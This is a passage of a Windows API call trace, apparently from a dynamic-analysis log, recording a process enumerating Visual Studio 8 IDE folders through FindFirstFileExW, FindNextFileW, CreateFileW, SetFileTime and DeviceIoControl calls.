ftLastAccessTime.dwLowDateTime=0x61771db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56ab3000, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x9758, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.dll", cAlternateFileName="")) returned 0 [0089.089] GetLastError () returned 0x12 [0089.089] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0089.089] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0089.089] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52694b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61771db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61771db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.089] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f842200, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x6104dbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f842200, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x337a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Adapter.dll", cAlternateFileName="")) returned 1 [0089.089] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b54f00, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x526bacf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50b54f00, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x197b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.AddInManager.dll", cAlternateFileName="")) returned 1 [0089.089] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57dc5d00, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x6104dbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x57dc5d00, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x97b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.ComRPCChannel.dll", cAlternateFileName="")) returned 1 [0089.089] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x590d8a00, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x52694b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x590d8a00, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x117a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.DesignTime.dll", cAlternateFileName="")) returned 1 [0089.089] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ab3000, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x61771db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56ab3000, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x9758, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.dll", cAlternateFileName="")) returned 1 [0089.089] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ab3000, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x61771db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56ab3000, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x9758, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.dll", cAlternateFileName="")) returned 0 [0089.089] GetLastError () returned 0x12 [0089.089] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130fe38) returned 1 [0089.090] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0089.090] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eebd8) returned 1 [0089.091] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130fd30) returned 1 [0089.091] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTA", cAlternateFileName="")) returned 1 [0089.091] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130fd30 [0089.091] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.092] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0089.092] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0089.092] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.092] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0089.093] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.093] NtClose (Handle=0x124) returned 0x0 [0089.093] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130fd30) returned 1 [0089.093] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eebd8 [0089.093] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130fd30 [0089.094] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eebd8) returned 1 [0089.094] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130fe38 [0089.094] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0089.094] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.094] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ItemTemplates", cAlternateFileName="")) returned 1 [0089.094] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ItemTemplates", cAlternateFileName="")) returned 0 [0089.095] GetLastError () returned 0x12 [0089.095] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9080 [0089.095] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0089.095] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.095] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ItemTemplates", cAlternateFileName="")) returned 1 [0089.095] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130ff40 [0089.095] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.095] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310888 [0089.096] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.096] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0089.096] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0089.096] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.097] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0089.097] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.097] NtClose (Handle=0x124) returned 0x0 [0089.097] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1310888) returned 1 [0089.097] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.098] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eebd8 [0089.098] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310888 [0089.098] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.098] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310a98 [0089.098] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9000 [0089.099] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.099] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSharp", cAlternateFileName="")) returned 1 [0089.099] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisualBasic", cAlternateFileName="")) returned 1 [0089.099] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f5dcf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisualBasic", cAlternateFileName="")) returned 0 [0089.099] GetLastError () returned 0x12 [0089.099] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0089.099] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0089.099] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.099] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSharp", cAlternateFileName="")) returned 1 [0089.099] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310990 [0089.099] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eebd8) returned 1 [0089.099] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310db0 [0089.100] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.100] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0089.100] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0089.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.101] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0089.101] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.101] NtClose (Handle=0x124) returned 0x0 [0089.101] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1310db0) returned 1 [0089.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eebd8 [0089.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eeb50 [0089.102] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310db0 [0089.102] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eebd8) returned 1 [0089.102] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310eb8 [0089.102] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9000 [0089.102] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.102] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11231710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0089.102] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11231710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0089.103] GetLastError () returned 0x12 [0089.103] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f80 [0089.103] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0089.103] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.103] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11231710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0089.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1310fc0 [0089.103] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eeb50) returned 1 [0089.103] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13110c8 [0089.104] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11231710, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.104] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0089.104] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0089.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0089.104] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0089.105] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0089.105] NtClose (Handle=0x124) returned 0x0 [0089.105] RtlFreeHeap (HeapHandle=0x940000, 